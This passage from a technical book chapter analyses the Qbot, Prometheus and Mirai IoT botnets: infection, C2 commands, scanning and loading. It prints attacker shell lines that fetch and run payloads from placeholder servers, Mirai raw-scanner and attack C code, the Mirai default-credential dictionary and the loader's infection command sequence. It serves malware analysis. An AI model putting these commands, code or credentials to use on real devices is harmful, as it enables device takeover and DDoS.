One way or another, the “bins.sh” script will get executed and at the end of the
command sequence “rm” is used to clean up any of the intermediary downloads.

The downloaded shell script “bins.sh” was generated at server setup time by the
“cc7.py” Python setup script. Recall the masquerading of malware executable
names performed at build time by the “cc7.py” script to hide the malware behind
existing and well-known Unix services and processes such as “ntpd”, “sshd”,
“apache2”, etc. A typical example would look like:

#!/ bin/ bash

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http ://[ downloadserverip]/ntpd ; chmod

+x ntpd ; ./ntpd ; rm -rf ntpd

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http ://[ downloadserverip]/sshd ; chmod

+x sshd ; ./sshd ; rm -rf sshd

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http ://[ downloadserverip]/openssh ; chmod

+x openssh ; ./ openssh ; rm -rf openssh

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http ://[ downloadserverip]/bash ; chmod

+x bash ; ./bash ; rm -rf bash

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http ://[ downloadserverip]/tftp ; chmod

+x tftp ; ./tftp ; rm -rf tftp
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cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[ downloadserverip]/wget; chmod

+x wget; ./wget; rm -rf wget

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[ downloadserverip]/cron ; chmod

+x cron ; ./cron ; rm -rf cron

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[ downloadserverip]/ftp ; chmod +x ftp ;

./ftp ; rm -rf ftp

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[downloadserverip]/pftp ; chmod

+x pftp ; ./pftp ; rm -rf pftp

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[downloadserverip]/sh; chmod +x sh;

./sh; rm -rf sh

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[downloadserverip]/’’; chmod +x ’ ’;

./’ ’; rm -rf ’ ’

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[downloadserverip]/apache2 ; chmod

+x apache2 ; ./apache2 ; rm -rf apache2

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[ downloadserverip]/telnetd ;

chmod +x telnetd ; ./telnetd ; rm -rf telnetd

After successfully infecting a newly discovered victim, the bot reports back to
its C2 with the information in the form: REPORT ip:username:password .

At that point, the whole bot process starts again but on the new victim. It is
clear that this method provides for a fast growth of the botnet since each added
bot will start scanning and infecting new nodes. The method is crude and un-
optimized: every bot independently scans the full internet range, meaning that
every IP address on the internet will at some point be scanned by each bot in the
botnet. But it works, and it is good enough and has proven to be effective.

While the scanning process is performing discovery and infection, the main
process listens and waits for commands from the C2 server. Below is the list of
control messages the server can send its member bots:

■ PING is used to test the presence of an active client at the other end of
the connection. Upon receiving a “PING” message, the bot replies with
“PONG”. This PING/PONG keepalive implementation is inherited from
the Internet Relay Chat (IRC) protocol

■ GETLOCALIP queries the bot for its local IP. Bot responds with My IP: x.

x.x.x

■ SCANNER ON starts the bot’s scanner process. Bot confirms with
PROBING.

■ SCANNER OFF stops the scanning process. Bot confirms with REMOVING

PROBE.
■ HOLD <ip> <port> <time> attack starts a vast amount (max file table size/

2) of concurrent TCP connections to a target and keeps them open for
10sec until they time out for the specified number of seconds

■ JUNK <ip> <port> <time> attack using random payloads
■ UDP <ip> <port (0 for random)> <time> <netmask (32 for non

spoofed)> <packet size (1 to 65,500)> (time poll interval,

default 10) attack performs a simple UDP flood
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■ HTTP <ip> <time> attacks a target through repeatedly performing an
HTTP GET request

■ CNC <ip> <time> attacks a target using a single TCP connect, sleep 1 sec and
disconnect in a tight loop repeated until the specified number of seconds have
passed

■ COMBO <ip> <port> <time> attack that combines the JUNK and HOLD

attacks in a single attack
■ TCP <ip> <port (0 for random)> <time> <netmask (32 for non

spoofed)> <flags (syn, ack, psh, rst, fin, all)> (packet

size, usually 0) (time poll interval, default 10) attack using
a TCP packet flood

■ KILLATTK instructs the bot to kill all its child processes that are running
attacks

■ FUCKOFF stops the bot through exit(0) call

Note that each attack above is run from a newly forked process, not within the
main process of the bot. This means that one bot can be running several attacks
concurrently.

2.3.2.4 Command and Control

The Qbot C2 server process is limited in functionality. The server requires exactly
three arguments to start:

Usage: server [port] [threads] [cnc-port]

The first argument is the TCP port on which the server will be listening for
bot control connections. The second argument is the number of threads to spawn
to process bot scan report messages. The third argument is the TCP port number
where the server will be listening for new connections from bot herders or
customers, which will access the CLI to control the botnet.

Upon connecting to the C2 port, a botnet admin is requested to provide valid
credentials before being given access to the CLI. Qbot admin usernames and
passwords are kept in a plain text file called “login.txt” located in the same
directory as the server’s binary. Credentials are put one per line in the format
“<username> <password>”. No hashing, no obfuscation and no encryption
whatsoever!

After successful login, the bot admin is greeted with a banner and information
about the current bot count, followed by a command prompt. The admin has
control of all the botnet members through the command interface. The Qbot
commands are limited, only commands for the most basic DDoS attacks (as
previously described during the client discussion), a way to stop all ongoing
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attacks (“KILL”), a command to view the Terms of Service (“TOS”), and a way
to exit the CLI (“LOGOUT”) are provided.

When a new victim is successfully infected, the infecting bot reports the new
victim’s IP and telnet credentials to the server using a message REPORT ip:
username:password . Upon receiving the report, the server saves that informa-
tion in a plain text file called “telnet.txt” in the format ip:username:password.
Keeping track of infected victims and their credentials allows bot herders to
“reboot” their botnets. Imagine there is a new version of the bot and the bot
herder wants to update his botnet. Since the bots do not provide an upgrade
capability, they need to be terminated and re-infected. A list of IPs and
credentials allows most of the botnet to be recovered during a botnet reboot.

As the bot starts on the new victim, it will connect to the C2 server. The C2
verifies duplicate executions by checking the bot’s IP address in the list of already
connected bots and if this is a duplicate, the server sends a “!* LOLNOGTFO”
message to the bot upon which it will kill itself. If the bot is not a duplicate, the
server sends a “!* SCANNER ON” message to start the bot’s telnet scanner process
and have it search for and infect new devices.

2.3.2.5 Qbot Variants

More recent Qbot variants enhanced the IP pseudorandom generator with
a capability to filter address ranges known to be CIA and FBI controlled servers as
well as popular cloud providers such as Amazon, Azure, Digital Ocean, OVH, etc.
The former is obvious why a filter would be a good addition. Filtering the cloud
provider subnets is not a bad idea as well, for efficiency, as one is not expecting to
find many IoT devices in cloud provider subnets. Though virtual routers might be
potential victims and cloud servers are not much different than IoT devices. Another
reasoning behind the cloud provider range filter is that it would prevent detection by
honeypots that might be deployed in cloud environments. The most convenient way
for researchers to deploy and manage their honeypot networks is through the larger
cloud services that are present in many geographies.

Same as was the case with Kaiten, the newer Qbot variants add “botkiller”
capabilities to get exclusive access to infected devices. It is not exceptional that
a bot infects a device that was previously infected by and running a competing
bot. To this extent, at startup, bots scan the process table looking for well-known
bot process-names and attempt to kill these processes. Prometheus v4, a more
recent Qbot variant, for example, contains an extensive list of known bot process-
names:

const char *knownBots[] = {

"mips", "mipsel", "sh4", "x86",

"i686", "ppc", "i586", "i586",

"jackmy*", "hackmy*", "arm*",
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"b1", "b2", "b3", "b4", "b5", "b6", "b7", "b8", "b9",

"busyboxterrorist", "DFhxdhdf", "dvrHelper", "FDFDHFC",

"FEUB", "FTUdftui", "GHfjfgvj", "jhUOH",

"JIPJIPJj", "JIPJuipjh", "kmyx 86_64", "lolmipsel",

"mips", "mipsel", "RYrydry", "tel*",

"Two Face*", "UYyuyioy", "wget", "x86_64",

"XDzdfxzf", "xxb *", "sh",

"1", "2", "3", "4", "5", "6", "7", "8", "9",

"10", "11", "12", "13", "14", "15", "16", "17", "18", "19", "20",

" hackz", "bin *", "gtop", "ftp*", "tftp *",

"botnet", "swatnet", "ballpit", "fucknet",

"cracknet", "weednet", "gaynet", "queernet",

"ballnet", "unet", "yougay", "sttftp", "sstftp",

"sbtftp", "btftp", "y0u1sg3y", "bruv*", "IoT*",

};

Further enhancements observed among Qbot variants are the addition of
several client HTTP headers, which randomly change during HTTP GET attacks
to avoid fingerprinting and mitigation by DDoS mitigation systems.

Some Qbot variants also added the ability to perform distributed SSH scanning
using standard or modified, widely available, Python or Perl SSH scanners. To that end,
the Qbot client adds specific platform checks to detect if the bot is capable of running
Perl or Python scripts. When the bot connects to the C2 server, it communicates these
capabilities to the server and depending on the platform abilities, the server will send
a message to the newly connected bot instructing it to install the Python- or Perl-based
scanner. The Prometheus bot, for example, performs the following commands on
a compromised device upon receiving the message PYTHON INSTALL:

sudo yum install python-paramiko -y; sudo apt-get install python-paramiko -y; sudo mkdir /.tmp/;

cd /.tmp; wget x.x.x.x/good2.py

Upon receiving PYTHON START it executes the shell command:

cd /.tmp; python good2.py 1000 LUCKY 1 3

Stopping the Python-based SSH scanner can be performed through PYTHON

OFF at which time the client invokes:

killall -9 python; pkill python

Updating the SSH scanner is possible through the “PYTHON UPDATE” message,
which has the bot perform:

cd /.tmp; rm -rf *py; wget x.x.x.x/good2.py

In early 2017, a malicious actor going by the alias of Jihadi leaked the full source
for Prometheus. Still, Prometheus was found to be selling for about $80 USD in
July 2018 on the Sinisterly forum, even after having it source leaked. In Septem-
ber 2018, a Qbot variant dubbed “Demonbot” [23] was discovered spreading across
big data cloud servers and abused a Hadoop YARN vulnerability [24] to exploit very
capable cloud servers with the objective of performing DDoS attacks.
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2.3.3 Mirai

Mirai might be considered less sophisticated compared to most of its windows
cousins, but it has succeeded to rewrite the rules for and affirming new risks from
IoT DDoS botnets. As the first open-sourced IoT botnet, Mirai shook up the
status quo on real-time mitigation and made security automation a must. It isn’t
just that IoT botnets can facilitate sophisticated application-level (L7) attacks that
adapt continuously to evade protective measures while keeping record high
volumes. The fact that Mirai is open-source means malicious agents can poten-
tially mutate, customize, and improve it—resulting in an untold variety of new
attack tools of increasing complexity. Mirai is a great candidate for the blueprint
of the modern IoT botnet. Mirai didn’t appear out of thin air; it borrows heavily
on concepts and ideas from previously discussed Qbot. However, it is more than
just a Qbot descendent, it is the alpha of a new family of botnets of which many
variants have been spawned since its inception.

Mirai separates the discovery and loading (infection) from its C2 server. The
scanning engine embedded in the bot was re-engineered to create an aggressive
and efficient asynchronous, raw packet scanner with a telnet brute force engine
that can reach up to 500 brute attempts per second. More aggressive, more
efficient, and more scalable, Mirai uses Go (Golang) besides traditional C for
critical server parts. The Mirai C2 server provides a multi-tenant “customer”
facing API as well as a MySQL database backend for storing user accounts, attack
history, and bot allotment. Mirai also allows operators to assign parts of the
botnet to customers, basically partitioning the bot and providing more flexible
pricing and renting schemes based on botnet size.

The discovery and infection part of the botnet, also referred to as scanning and
loading, consists of a distributed scanning and bruting engine embedded in the
bots augmented with centralized services that perform the loading of the malware
onto the newly discovered victims. As discussed during the Qbot client: lever-
aging already infected devices to perform the scanning allows for rapid, near
exponential growth of the botnet. As more devices get infected and start
scanning, the rate of growth improves but at the same time it makes for a very
noisy botnet. Referring to Figure 2.2; the centralized services consist of
a scanListen and a Loader service. The scanListen service listens on port 48,101
for report messages from bots (3) that detected new potential victims for loading
during their scans (1). The scanListen service is written in Go and leverages
goroutines (lightweight threads). The service reformats the bot’s message into
a string of format “ip:port username:password architecture” and passes this
through a Unix pipe5 to the Loader service (4). The Loader is a multi-threaded

5 a Unix pipe ‘ ’ is a construct that connects the STDOUT of the left-hand-side command to the STDIN of
the right-hand-side command
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C program running a single intake thread and queuing loading tasks read from
STDIN. The queued tasks are dispatched to a customizable number of worker
threads for processing. The worker thread uses the username and password to get
access to the shell command line of the new victim and load the bot client (5).
Once the loaded bot executes on the new victim, it will register with its C2 server
(6), start scanning for new victims (7) and wait for commands from the C2. The
C2 server provides an administrative CLI on port 23 (8) and some sort of API
capability for customers on port 101 (3). Since the loader can read a list of new
potential victims from STDIN, the loader can accept new victims from a plain
text file containing lines with victim IP addresses and credentials. These plain text
files can be copied from other servers, traded, or created using other more
powerful scanning tools. In June 2017, for example, a list of thousands of
working IP addresses with telnet credentials was found lingering on Pastebin [25].

2.3.3.1 Client Bot

The Mirai client (bot) is written in C. At its start the bot unlinks its binary file in
an attempt to erase any traces of the malware in the file system. The bot also
initializes anti-debugging provisions to increase its resistance against reversing by
security researchers.

Figure 2.2 Mirai Blueprint.
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All literal strings and sensitive settings such as the C2 server host and port are
hardcoded in the bot but kept in an encrypted table. Settings and string literals
stay encrypted in memory during the whole execution of the bot and get
decrypted only upon use to be re-encrypted immediately after. The credentials
used for the brute forcing during telnet scans are also kept in an encrypted table
in the binary but get decrypted at bot initialization and stay in clear text in the
memory of the process for its lifetime.

If the victim has provisions for automatically rebooting the device upon
detecting faulty behavior of the kernel, such as provided by Linux Watchdog,
the bot disables this feature to prevent reboots that could be caused by heavy
CPU loads, which could be the result of performing aggressive scanning and
flood attacks.

The bot also checks if other Mirai-based bots are active on the same system
through binding to port 48101 on the loopback interface (127.0.0.1). Coin-
cidentally, 48101 is the same port as used by the C2 server. If there is no other
process holding the socket for port 48101 on the loopback interface, the bind call
will succeed and the bot is sure to be only currently executing on the device. As
a side effect of the bind call, port 48101 on the loopback interface will be
allocated to the current bot process and subsequent bind calls performed by other
bot processes will fail. If the bind call failed, another bot must have already
bound to the port and loopback interface. In that case, the current process will
kill the other process before allocating the port and loopback to itself, ensuring it
is the only bot process that executes on the device. This capability works as
a semaphore to prevent multiple processes running on the same device while
purging older versions of the same botnet or competing Mirai bots that might
have infected the device previously.

The bot hides its presence from the process table by replacing its name in table
entry with a random alpha string between 12 and 32 characters long. It also
changes its command line invocation name to a random alpha string of 12 to 24
characters. The process table entry and command line name are independently
generated strings making correlation harder. After changing its process name, the
bot prints out the string “listening tun0” on the terminal, which is one of the
hard-coded strings in the encrypted table.

At this point the bot initializes its attack payloads:

BOOL attack_init(void) {

int i;

add_attack(ATK_VEC_UDP, (ATTACK_FUNC)attack_udp_generic);

add_attack(ATK_VEC_VSE, (ATTACK_FUNC)attack_udp_vse);

add_attack(ATK_VEC_DNS, (ATTACK_FUNC)attack_udp_dns);

add_attack(ATK_VEC_UDP_PLAIN, (ATTACK_FUNC)attack_udp_plain);

add_attack(ATK_VEC_SYN, (ATTACK_FUNC)attack_tcp_syn);

add_attack(ATK_VEC_ACK, (ATTACK_FUNC)attack_tcp_ack);
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add_attack(ATK_VEC_STOMP, (ATTACK_FUNC)attack_tcp_stomp);

add_attack(ATK_VEC_GREIP, (ATTACK_FUNC)attack_gre_ip);

add_attack(ATK_VEC_GREETH, (ATTACK_FUNC)attack_gre_eth);

// add_attack(ATK_VEC_PROXY, (ATTACK_FUNC)attack_app_proxy);

add_attack(ATK_VEC_HTTP, (ATTACK_FUNC)attack_app_http);

return TRUE ;

}

The bot also starts an elaborate killer function that terminates any process that
might be listening on ports 22, 23, and 80. After freeing up the ports, the bot
allocates the ports for all known interfaces on the system through binding and
listening on them, but it will not accept any connections, so basically blocking all
processes from taking control of ports 22, 23, and 80 and in doing so disabling
any remote or web interface access through those ports.

The botkiller also actively searches for processes that are running on the system
but which are not backed by a file in the filesystem and kills them—remember
that Mirai, just like many other bots, unlinks the binary upon starting to erase its
traces of infection. Finally, the botkiller goes through all running processes on the
system and scans the first 4096 bytes of the process’s code for known Qbot,
Zollard, Remaiten, and UPX signatures; if it finds any matching processes, they
are killed.

At this point, the bot forks a new process for its Telnet scanning engine while
the main process initiates a new TCP connection to its C2 server on port 23 and
waits, listening for attack commands.

2.3.3.2 Scanning and Infection

The scanner implementation is an efficient, raw packet-based, asynchronous SYN
scanner that sends raw TCP SYN packets to pseudo-randomly generated IPs at
a rate of 160 packets at a time. The destination port of all except every tenth
packet is set to 23; every tenth packet gets a destination port of 2323 (see raw
scanner code extract below).

rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);

fcntl(rsck, F_SETFL, O_NONBLOCK | fcntl( rsck, F_GETFL, 0));

setsockopt (rsck, IPPROTO_IP, IP_HDRINCL, &i, sizeof (i)

// find a high, non-reserved source port - this will be destination port for return packet

do {

source_port = rand_next() &0xffff;

} while (ntohs(source_port) < 1024);

iph = (struct iphdr *)scanner_rawpkt ;

tcph = (struct tcphdr *)(iph + 1);

// Set up IPv4 header

iph->ihl = 5;
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iph->version = 4;

iph->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr));

iph->id = rand_next();

iph->ttl = 64;

iph->protocol = IPPROTO_TCP ;

// Set up TCP header

tcph->dest = htons(23);

tcph->source = source_port ;

tcph->doff = 5;

tcph->window = rand_next() & 0xffff;

tcph->syn = TRUE ;

for (i = 0; i < SCANNER_RAW_PPS; i++) {

struct sockaddr_in paddr = {0};

struct iphdr *iph = (struct iphdr *)scanner_rawpkt ;

struct tcphdr *tcph = (struct tcphdr *)(iph + 1);

iph->id = rand_next();

iph->saddr = LOCAL_ADDR ;

iph->daddr = get_random_ip();

iph->check = 0;

iph->check = checksum_generic ((uint16 _t *)iph, sizeof(struct iphdr));

if ( i % 10 == 0) {

tcph->dest = htons(2323);

} else {

tcph->dest = htons(23);

}

tcph->seq = iph->daddr; // TCP SEQ = DESTINATION IP ADDRESS

tcph->check = 0;

tcph->check = checksum_tcpudp(iph, tcph, htons( sizeof(struct tcphdr)), sizeof(struct

tcphdr));

paddr.sin_family = AF_INET ;

paddr.sin_addr.s_addr = iph->daddr;

paddr.sin_port = tcph->dest;

sendto (rsck, scanner_rawpkt, sizeof(scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&

paddr, sizeof(paddr));

}

The Mirai scanner sets the TCP sequence field of the SYN packet to match the
32-bit encoded destination IP address. The raw packet receiver loop uses this
property to verify that a SYN+ACK response is in reply to a previously sent SYN
request. Since the egress SYN packet has a SEQ field that was set to iph daddr
(destination address), the packet received in response to it should have the SYN
and ACK flags set and have a SEQ number increased by 1, while the destination
and source addresses should be swapped. The code fragment below illustrates how
Mirai checks incoming packets for SYN+ACK flags and if (ACK SEQ - 1) is
equal to the 32-bit encoded source IP address, which ensures the packet was
a reply to a request originating from this scanner. This SEQ encoding trick is
very much comparable to the SYN cookie protection feature many firewalls
implement to prevent state table exhaustion from SYN flood attacks. The irony
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of how a feature designed for protection against a resource exhaustion DoS attack
is leveraged by a DDoS attack tool …

while (TRUE) {

int n;

char dgram[1514];

struct iphdr *iph = (struct iphdr *)dgram ;

struct tcphdr *tcph = (struct tcphdr *)(iph + 1);

struct scanner_connection *conn ;

errno = 0;

n = recvfrom(rsck, dgram, sizeof (dgram), MSG_NOSIGNAL, NULL, NULL);

if ( n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)

break;

if (n < sizeof(struct iphdr) + sizeof(struct tcphdr)) continue;

if (iph->daddr != LOCAL_ADDR ) continue;

if (iph->protocol != IPPROTO_TCP) continue;

if (tcph->source != htons(23) && tcph->source != htons(2323)) continue;

if (tcph->dest != source_port) continue;

if (!tcph->syn) continue;

if (!tcph->ack) continue;

if (tcph->rst) continue;

if (tcph->fin) continue;

if (htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr) continue;

// CHECK IF SEQ = ( SOURCE IP + 1)

conn = NULL ;

for (n = last_avail_conn ; n < SCANNER_MAX_CONNS; n ++)

{

if (conn_table[n].state == SC_CLOSED)

{

conn = & conn_table[n];

last_avail_conn = n;

break;

}

}

// If there were no slots, then no point reading any more

if (conn == NULL)

break ;

conn->dst_addr = iph->saddr;

conn->dst_port = tcph->source;

setup_connection(conn);

# ifdef DEBUG

printf("[ scanner] FD% d Attempting to brute found IP %d.%d.%d.%d\n", conn->fd, iph->saddr &0

xff, (iph->saddr >> 8) &0xff, (iph->saddr >> 16) &0xff, (iph->saddr >> 24) &0xff);

# endif

}

If a valid SYN+ACK packet is received, RST and FIN are not set, the
destination port corresponding to the original source port used for the packets
and the SEQ cookie checking out, Mirai looks for a free entry in the telnet
scanner connection table and sets up a new telnet connection with the telnet
service on the newly discovered potential victim.
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The pseudo-random IP generator, like previously discussed Kaiten and Qbot
scanners, excludes private and loopback ranges, the IANA reserved ranges, as well
as ranges for multi-cast. In addition, the originally published Mirai also excludes
the IP ranges of General Electric Company (3.0.0.0/8), Hewlett-Packard Com-
pany (15.0.0.0/7), US Postal Service (56.0.0.0/8), and the ranges belonging to
the Department of Defense (6.0.0.0/8, 7.0.0.0/8, 11.0.0.0/8, 21.0.0.0/8,
22.0.0.0/8, 26.0.0.0/8, 28.0.0.0/8, 29.0.0.0/8, 30.0.0.0/8, 33.0.0.0/8, 55.0.0.0/
8, 214.0.0.0/8, 215.0.0.0/8); presumably because these prefixes are not publicly
routed and would only but slow down the scanning process.

The scanning engine works in three stages and is designed to be effective and
lightweight. At some point, the engine might drop some SYN+ACK packets in
favor of trying not to exhaust the number of file descriptors (sockets) available to
the process. During the first stage, the engine sends out 160 raw SYN packets after
which a second stage will process received packets until there are no more packets
in the receive queue or all of the 128 entries in the active telnet connection table
are exhausted. The third and last stage is a telnet state machine that goes through
all 128 telnet connection table entries and handles the brute force.

Below are the hardcoded scanning engine settings for the maximum concurrent
telnet connections and the maximum number of raw SYN packets to send during
a single engine scan pass and before starting to process replies:

# define SCANNER_MAX_CONNS 128

# define SCANNER_RAW_PPS 160

The telnet brute force tries only 10 randomly selected username/password
credential pairs for each connection. If the victim is not breached within these 10
attempts, the bot moves on, knowing that itself or one of its peers will be back to
the same victim and try other credentials at a later time. The credentials are taken
from a 60-entry dictionary illustrated in the following table. The table is hard-
coded in the bot but entries are encrypted and they get decrypted at bot
initialization time. The dictionary is stored in clear text in the process’s memory
for the duration of the process’s lifetime; the entries do not get re-encrypted after
each use as the entries in the settings table.

By looking at the credential table, one might wonder which manufacturer
would use the last credential pair as default. To be clear, the last entry does not
originate from a manufacturer but rather from a worm that infected thousands of
router devices running outdated firmware back in May 2016. The worm
exploited a known firmware vulnerability, which allowed unauthenticated
upload of files to arbitrary locations on the router to copy itself to vulnerable routers
and create a backdoor account with the username “mother” By adding this credential
pair to its dictionary, Mirai was able to leverage the work of this previous worm.

Upon finding a matching credential pair and getting access to the victim’s
shell, Mirai sends a limited string of commands to validate the shell access:
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username password username password

root xc3511 root vizxv

root admin admin admin

root 888888 root xmhdipc

root default root juantech

root 123456 root 54321

support support root (none)

admin password root root

root 12345 user user

admin (none) root pass

admin admin1234 root 1111

admin smcadmin admin 1111

root 666666 root password

root 1234 root klv123

Administrator admin service service

supervisor supervisor guest guest

guest 12345 guest 12345

admin1 password administrator 1234

666666 666666 888888 888888

ubnt ubnt root klv1234

root Zte521 root hi3518

root jvbzd root anko

root zlxx. root 7ujMko0vizxv

root 7ujMko0admin root system

root ikwb root dreambox

root user root realtek

root 00000000 admin 1111111

admin 1234 admin 12345

admin 54321 admin 123456

admin 7ujMko0admin admin 1234

admin pass admin meinsm

tech tech mother fucker*

* The author does not intend to use this term in an offensive context; it is a blackhat that
is using offensive language – something that is common among blackhats in forums
and chats.
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shell

enable

system

sh

/bin/busybox MIRAI

The last command will result in a response MIRAI: applet not found since
“MIRAI” is not a valid BusyBox command. Upon receiving this response, the bot
will report the victim’s IP, port, and working credentials to the scanListen server
on port 48101 in a variable length encoded binary message in the form:

The scanListen service is running on the C2 infrastructure and accepts new
connections on the port 48101. It reads the “Report” messages and writes the
received messages reformatted as strings to STDOUT in the form “xx.xx.xx.xx:
port username:password \n.” Typically, the scanListen service will be piped into
the Loader service either directly or through a “tee” command that could be used
to save a copy of the report messages in a log file and later replayed to re-infect
the botnet members, for example, to update the botnet with new client code:

nohup ./scanListen | tee /tmp/report.log | ./loader &

2.3.3.3 Loader Service

The Loader service is a multi-threaded C program running on the C2 infra-
structure. It has a single intake thread that queues incoming loading tasks and
a customizable number of worker threads. Whenever the loader service receives
a new victim report, it dispatches the new task to an available worker thread that
starts the loading process.

Upon successful login to the victim using the credentials from the report, the
loader submits its first command to the device:

/bin/busybox ps; MIRAI

0x00 1 Byte

IP address 4 Bytes

TCP Port 2 Bytes

username length 1 Byte

username variable length

password length 1 Byte

password variable length
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The “MIRAI” at the end of the command is a token query that is defined at
loader compile time. The token is used as a delimiter and indicates the end of the
response that the loader parses until the token response MIRAI: applet not found.
Some newer variations use random tokens for each command but the original Mirai
used a compile-time setting. The output of the “ps” command itself is not inspected
by the loader; it is only testing for the presence of the token response. If the token
response is found in the response, the loader goes on to find a writable filesystem
through inspecting the contents of the/proc/mounts special file using the command:

/bin/busybox cat /proc/mounts; MIRAI

The/proc/mounts response will contain all mounted file systems on the device
with their corresponding mount point and mount flags such as the writable flag.
The loader parses the response until it finds an “rw” (readable and writable)
filesystem and upon doing so takes note of the mount point. The writability of
the discovered path is then verified by writing a hex encoded string to a hidden
file named “.nippon” and concatenating the file to the output as response:

/bin/busybox echo -e ’\x6b\x61\x6d\x69/tmp ’ > /tmp/.nippon; /bin/busybox cat /tmp/.nippon; /bin/

busybox rm /tmp/.nippon

/bin/busybox MIRAI

The sequence \x6b\x61\x6d\x69 is a hex encoded verification string that
produces “kami” when run through the “echo” command. If the discovered path
is writable, the “cat” command will return “kami/tmp,” which the loader verifies
for. If the verification fails, the telnet connection is closed, and the worker thread
moves on to the next task in the queue.

At this point, the loader has discovered a writable directory and made it its
current working directory. It now creates an empty file that is world writable and
executable using the command:

/bin/busybox cp /bin/echo dvrHelper; > dvrHelper; /bin/busybox chmod 777 dvrHelper; MIRAI

Next step for the loader is to detect the victim’s architecture, which is done by
inspecting the ELF header structure from one of the binaries on the device. Mirai
(and also Hajime) uses the “echo” binary to that end:

/bin/busybox cat /bin/echo

Some later variants of Mirai and Hajime use a different command to prevent
the full “echo” binary to be dumped to STDOUT and uploaded from the device
to the loader service. Instead of using “cat”, they now use the “dd” command and
limit the output and transmitted bytes through setting the block size and count
argument:

dd bs=52 count=1 if=/bin/echo
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This command, for example, dumps only the first 52 bytes of the echo binary
to the connected socket.

Now it could be that the “dd” command is not available on the platform.
Hajime, for example, will opt for a combined approach through:

dd bs=52 count=1 if=/bin/echo || cat /bin/echo

The above command relies on the lazy evaluation of the shell logical operators. In
the case of a logical OR (“||”), the left-hand side expression is evaluated and if that
expression evaluates to TRUE, the right-hand side does not need to be evaluated as
the outcome of the logical expression is known to be TRUE independent of the
result of the right-hand side expression. If, however, the left-hand side expression
evaluates to FALSE, the right-hand side expression needs to be evaluated to
determine the result of the logical expression. Applying this to the command line
above: if the “dd” command fails to execute, the “cat” command will be executed. If
the “dd” command was successful, the “cat” command is never executed.

As a result of the “dd” command, the loader now has the first 52 bytes of an
ELF binary from the victim’s platform:

$ dd bs=52 count=1 if=/bin/echo | hd
00000000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 |. ELF ...........|
00000010 03 00 3e 00 01 00 00 00 50 1c 00 00 00 00 00 00 |..>.....P.......|
00000020 40 00 00 00 00 00 00 00 b8 81 00 00 00 00 00 00 |@...............|
00000030 00 00 00 00 |....|

The loader checks for the three-byte sequence “ELF” in the executable’s
header and if it cannot find the sequence, the worker threat closes the
connection and moves on to its next task. If the loader found the sequence, it
will then attempt to discover the architecture by mapping the magic number
0x464c457f or x7fELF to the elf_hdr struct as illustrated in the code segment
below:

struct elf_hdr *ehdr;

int elf_start_pos ;

if ((elf_start_pos = util_memsearch(conn->rdbuf, conn->rdbuf_pos, " ELF", 3)) == -1)

return 0;

elf_start_pos -= 4; // Go back to byte before ELF

ehdr = (struct elf_hdr *)(conn->rdbuf + elf_start_pos);

conn->info.has_arch = TRUE ;

switch (ehdr->e_ident[EI_DATA]) {

case EE_NONE: return 0;

case EE_BIG:

# ifdef LOADER_LITTLE_ENDIAN

ehdr->e_machine = htons(ehdr->e_machine);

# endif

break;

case EE_LITTLE:

# ifdef LOADER_BIG_ENDIAN

ehdr->e_machine = htons(ehdr->e_machine);
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# endif

break ;

}

/* arm mpsl spc m68k ppc x86 mips sh4 */

if (ehdr->e_machine == EM_ARM || ehdr->e_machine == EM_AARCH64) {

strcpy (conn->info.arch, "arm");

} else if (ehdr->e_machine == EM_MIPS || ehdr->e_machine == EM_MIPS_RS 3 _LE) {

if (ehdr->e_ident[EI_DATA] == EE_LITTLE) {

strcpy (conn -> info.arch, "mpsl");

} else {

strcpy (conn->info.arch, "mips");

}

} else if (ehdr->e_machine == EM_386 || ehdr->e_machine == EM_486 || ehdr->e_machine == EM_860 ||

ehdr->e_machine == EM_X 86_64) {

strcpy (conn->info.arch, "x86");

} else if (ehdr->e_machine == EM_SPARC || ehdr->e_machine == EM_SPARC32PLUS || ehdr->e_machine ==

EM_SPARCV9) {

strcpy (conn->info.arch, "spc");

} else if (ehdr->e_machine == EM_68K || ehdr->e_machine == EM_88K) {

strcpy (conn->info.arch, "m68k");

} else if (ehdr->e_machine == EM_PPC || ehdr->e_machine == EM_PPC64) {

strcpy (conn->info.arch, "ppc");

} else if (ehdr->e_machine == EM_SH) {

strcpy (conn->info.arch, "sh4");

} else {

conn->info.arch[0] = 0;

connection_close(conn);

}

At this point, the loader has a writable path and the victim’s architecture. Next, it
needs to find a good way to upload the binary to the victim. The supported methods
will depend on the C2 infrastructure but for Mirai that will typically be HTTP and
TFTP. The download clients for these services are “wget,” “tftp,” or a custom
dropper binary that will be uploaded through hex-encoded strings.

Through the below command the loader is able to determine the availability of
the “wget” or “tftp” commands on the victim:

/bin/busybox wget; /bin/busybox tftp; MIRAI

Below code segment illustrates how the loader does the detection through
searching the response of the previous command:

if (util_memsearch(conn->rdbuf, offset, "wget: applet not found", 22) == -1)

conn->info.upload_method = UPLOAD_WGET;

else if (util_memsearch(conn->rdbuf, offset, "tftp:applet not found ", 22) == -1)

conn->info.upload_method = UPLOAD_TFTP;

else

conn->info.upload_method = UPLOAD_ECHO;

Depending on the upload method, the next command will upload the binary
from the server using either “wget” or “tftp”:
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wget: /bin/busybox wget http:// x. x. x. x: p/bins/ mirai.<arch> -O - > dvrHelper; /bin/

busybox chmod 777 dvrHelper; MIRAI

tftp: /bin/busybox tftp -g -l dvrHelper -r mirai.<arch> x.x.x.x; /bin/busybox chmod 777

dvrHelper; MIRAI

